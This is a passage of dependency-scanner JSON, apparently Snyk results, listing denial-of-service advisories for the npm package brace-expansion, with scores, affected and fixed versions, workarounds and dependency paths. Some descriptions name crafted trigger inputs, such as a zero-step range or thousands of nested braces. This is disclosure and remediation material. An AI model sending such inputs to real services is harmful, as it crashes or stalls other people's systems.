{ "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from 